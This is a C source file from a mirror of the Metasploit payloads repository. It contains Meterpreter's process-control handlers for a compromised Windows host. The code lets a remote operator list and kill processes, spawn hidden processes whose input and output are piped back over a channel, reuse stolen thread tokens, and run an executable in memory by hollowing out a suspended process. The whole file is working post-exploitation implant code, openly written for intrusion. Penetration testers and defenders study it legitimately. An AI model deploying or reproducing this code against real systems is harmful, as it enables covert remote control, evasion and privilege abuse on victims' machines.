1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-18 07:11:12 +02:00
HD Moore fc341ada59 Adds the process username to the ps output (when possible).
git-svn-id: file:///home/svn/framework3/trunk@8056 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-02 03:41:21 +00:00

744 lines
20 KiB
C

#include "precomp.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
/*
* Attaches to the supplied process identifier. If no process identifier is
* supplied, the handle for the current process is returned to the requestor.
*
* req: TLV_TYPE_PID - The process to attach to.
*/
DWORD request_sys_process_attach(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle = NULL;
DWORD result = ERROR_SUCCESS;
DWORD pid;
// Get the process identifier that we're attaching to, if any.
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
// No pid? Use current.
if (!pid)
handle = GetCurrentProcess();
// Otherwise, attach.
else
{
BOOLEAN inherit = packet_get_tlv_value_bool(packet,
TLV_TYPE_INHERIT);
DWORD permission = packet_get_tlv_value_uint(packet,
TLV_TYPE_PROCESS_PERMS);
handle = OpenProcess(permission, inherit, pid);
}
// If we have a handle, add it to the response
if (handle)
packet_add_tlv_uint(response, TLV_TYPE_HANDLE, (DWORD)handle);
else
result = GetLastError();
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Closes a handle that was opened via the attach method
*
* req: TLV_TYPE_HANDLE - The process handle to close.
*/
DWORD request_sys_process_close(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
DWORD result = ERROR_SUCCESS;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
if (handle)
{
if (handle != GetCurrentProcess())
CloseHandle(handle);
}
else
result = ERROR_INVALID_PARAMETER;
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Executes a process using the supplied parameters, optionally creating a
* channel through which output is filtered.
*
* req: TLV_TYPE_PROCESS_PATH - The executable to launch
* req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass
* req: TLV_TYPE_FLAGS - The flags to execute with
*/
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
Packet *response = packet_create_response(packet);
HANDLE in[2], out[2];
DWORD result = ERROR_SUCCESS;
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
Tlv inMemoryData;
BOOL doInMemory = FALSE;
HANDLE token, pToken;
dprintf( "[PROCESS] request_sys_process_execute" );
// Initialize the startup information
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
// Initialize pipe handles
in[0] = in[1] = NULL;
out[0] = out[1] = NULL;
do
{
// No response? We suck.
if (!response)
break;
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet,
TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet,
TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA,
&inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
createFlags |= CREATE_SUSPENDED;
}
// If the remote endpoint provided arguments, combine them with the
// executable to produce a command line
if (path && arguments)
{
DWORD commandLineLength = strlen(path) + strlen(arguments) + 2;
if (!(commandLine = (PCHAR)malloc(commandLineLength)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
_snprintf(commandLine, commandLineLength, "%s %s", path, arguments);
}
else if (path)
commandLine = path;
else
{
result = ERROR_INVALID_PARAMETER;
break;
}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(chops));
// Initialize the channel operations
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0,
CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
// Allocate the stdin and stdout pipes
if ((!CreatePipe(&in[0], &in[1], &sa, 0)) ||
(!CreatePipe(&out[0], &out[1], &sa, 0)))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel));
}
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
// Should we create the process suspended?
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is a thread token use that, otherwise use current process token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token))
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
// Duplicate to make primary token (try delegation first)
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken))
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken))
{
result = GetLastError();
break;
}
// Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit,
createFlags, NULL, NULL, &si, &pi))
{
result = GetLastError();
break;
}
}
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit,
createFlags, NULL, NULL, &si, &pi))
{
result = GetLastError();
break;
}
}
//
// Do up the in memory exe execution if the user requested it
//
if (doInMemory) {
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess(
pi.hProcess,
pi.hThread,
inMemoryData.buffer))
{
result = GetLastError();
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(pi.hThread) == (DWORD)-1)
{
result = GetLastError();
break;
}
}
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID,
pi.dwProcessId);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
(DWORD)pi.hProcess);
CloseHandle(pi.hThread);
result = ERROR_SUCCESS;
} while (0);
// Close the read side of stdin and the write side of stdout
if (in[0])
CloseHandle(in[0]);
if (out[1])
CloseHandle(out[1]);
// Free the command line if necessary
if (path && arguments && commandLine)
free(commandLine);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Kills one or more supplied processes
*
* req: TLV_TYPE_PID [n]
*/
DWORD request_sys_process_kill(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
Tlv pidTlv;
DWORD index = 0;
while ((packet_enum_tlv(packet, index++, TLV_TYPE_PID,
&pidTlv) == ERROR_SUCCESS) &&
(pidTlv.header.length >= sizeof(DWORD)))
{
DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
HANDLE h = NULL;
// Try to attach to the process
if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
{
result = GetLastError();
break;
}
if (!TerminateProcess(h, 0))
result = GetLastError();
CloseHandle(h);
}
// Transmit the response
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Gets the list of active processes (including their PID, name, and path) and
* sends the information back to the requestor.
*/
DWORD request_sys_process_get_processes(Remote *remote, Packet *packet)
{
BOOL (WINAPI *enumProcesses)(LPDWORD pids, DWORD numPids, LPDWORD numPidsNeeded);
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = packet_create_response(packet);
DWORD pids[512], numProcesses, index, needed;
DWORD res = ERROR_SUCCESS;
HANDLE psapi = NULL;
Tlv entries[4];
do
{
// Valid response?
if (!response)
break;
// Open the process API
if (!(psapi = LoadLibrary("psapi")))
break;
// Try to resolve the address of EnumProcesses
if (!((LPVOID)enumProcesses =
(LPVOID)GetProcAddress(psapi, "EnumProcesses")))
break;
// Try to resolve the address of EnumProcessModules
if (!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules")))
break;
// Try to resolve the address of GetModuleBaseNameA
if (!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA")))
break;
// Try to resolve the address of GetModuleFileNameExA
if (!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))
break;
// Enumerate the process list
if (!enumProcesses(pids, sizeof(pids), &needed))
break;
numProcesses = needed / sizeof(DWORD);
// Walk the populated process list
for (index = 0;
index < numProcesses;
index++)
{
CHAR path[1024], name[256];
CHAR username[512], username_only[512], domainname_only[512];
DWORD pidNbo;
HMODULE mod;
HANDLE p;
LPVOID TokenUserInfo[4096];
HANDLE token;
DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;
memset(name, 0, sizeof(name));
memset(path, 0, sizeof(path));
memset(username, 0, sizeof(username));
memset(username_only, 0, sizeof(username_only));
memset(domainname_only, 0, sizeof(domainname_only));
// Try to attach to the process for querying information
if (!(p = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pids[index])))
continue;
// Enumerate the first module in the process and get its base name
if ((!enumProcessModules(p, &mod, sizeof(mod), &needed) ||
(getModuleBaseName(p, mod, name, sizeof(name) - 1) == 0)))
{
CloseHandle(p);
continue;
}
// Convert the pid to network byte order
pidNbo = htonl(pids[index]);
// Try to get the process' file name
getModuleFileNameEx(p, mod, path, sizeof(path) - 1);
// Try to get the process' user name
if (OpenProcessToken(p, TOKEN_QUERY, &token)) {
if (GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) {
if(LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) {
_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
username[511] = '\0';
}
}
}
// Initialize the TLV entries
entries[0].header.type = TLV_TYPE_PID;
entries[0].header.length = sizeof(DWORD);
entries[0].buffer = (PUCHAR)&pidNbo;
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
entries[1].header.length = strlen(name) + 1;
entries[1].buffer = name;
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
entries[2].header.length = strlen(path) + 1;
entries[2].buffer = path;
entries[3].header.type = TLV_TYPE_USER_NAME;
entries[3].header.length = strlen(username) + 1;
entries[3].buffer = username;
// Add the packet group entry for this item
packet_add_tlv_group(response, TLV_TYPE_PROCESS_GROUP, entries, 4);
CloseHandle(p);
}
// Success
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Transmit the response packet
packet_transmit_response(res, remote, response);
// Close the psapi library and clean up
if (psapi)
FreeLibrary(psapi);
return ERROR_SUCCESS;
}
/*
* Handles the getpid request
*/
DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId());
packet_transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
/*
* Returns information about the supplied process handle.
*
* req: TLV_TYPE_HANDLE - The handle to gather information from.
*/
DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = packet_create_response(packet);
HMODULE mod;
HANDLE psapi = NULL;
HANDLE handle;
DWORD result = ERROR_SUCCESS;
DWORD needed;
CHAR path[1024], name[256];
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
do
{
// Valid response?
if (!response)
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Valid parameters?
if (!handle)
{
result = ERROR_INVALID_PARAMETER;
break;
}
// Open the process API
if (!(psapi = LoadLibrary("psapi")))
{
result = GetLastError();
break;
}
// Try to resolve the necessary symbols
if ((!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) ||
(!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) ||
(!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))))
{
result = GetLastError();
break;
}
memset(name, 0, sizeof(name));
memset(path, 0, sizeof(path));
// Enumerate the first module in the process and get its base name
if ((!enumProcessModules(handle, &mod, sizeof(mod), &needed) ||
(getModuleBaseName(handle, mod, name, sizeof(name) - 1) == 0)))
{
result = GetLastError();
break;
}
// Try to get the process' file name
getModuleFileNameEx(handle, mod, path, sizeof(path) - 1);
// Set the process' information on the response
packet_add_tlv_string(response, TLV_TYPE_PROCESS_NAME, name);
packet_add_tlv_string(response, TLV_TYPE_PROCESS_PATH, path);
} while (0);
// Transmit the response
packet_transmit_response(ERROR_SUCCESS, remote, response);
// Close the psapi library and clean up
if (psapi)
FreeLibrary(psapi);
return ERROR_SUCCESS;
}
/************************
* Process DIO handlers *
************************/
/*
* Reads directly from the output handle of the process
*
* FIXME: can-block
*/
DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError();
return result;
}
/*
* Writes data from the remote half of the channel to the process's standard
* input handle
*/
DWORD process_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
result = GetLastError();
return result;
}
/*
* Closes the channels that were opened to the process.
*/
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (channel_is_interactive(channel))
scheduler_remove_waitable(ctx->pStdout);
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead.
CloseHandle(ctx->pStdin);
free(ctx);
return result;
}
/*
* Callback for when data is available on the standard output handle of
* a process channel that is interactive mode
*/
DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context;
DWORD bytesRead, bytesAvail = 0;
CHAR buffer[16384];
if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) )
{
if( bytesAvail )
{
if( ReadFile( ctx->pStdout, buffer, sizeof(buffer) - 1, &bytesRead, NULL ) )
{
return channel_write( channel, remote, NULL, 0, buffer, bytesRead, NULL );
}
}
else
{
// sf: if no data is available on the pipe we sleep to avoid running a tight loop
// in this thread, as anonymous pipes won't block for data to arrive.
Sleep( 100 );
}
}
if( GetLastError() != ERROR_SUCCESS )
{
process_channel_close( channel, NULL, ctx );
channel_close( channel, remote, NULL, 0, NULL );
}
return ERROR_SUCCESS;
}
/*
* Enables or disables interactivity with the standard output handle on the channel
*/
DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context, BOOLEAN interact)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_interact. channel=0x%08X, ctx=0x%08X, interact=%d", channel, ctx, interact );
// If the remote side wants to interact with us, schedule the stdout handle
// as a waitable item
if (interact)
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify);
else // Otherwise, remove it
result = scheduler_remove_waitable(ctx->pStdout);
return result;
}
/*
* Wait on a process handle until it terminates.
*
* req: TLV_TYPE_HANDLE - The process handle to wait on.
*/
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
Packet * response = packet_create_response( packet );
HANDLE handle = NULL;
DWORD result = ERROR_INVALID_PARAMETER;
handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
if( handle )
{
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
result = ERROR_SUCCESS;
}
packet_transmit_response( result, remote, response );
return result;
}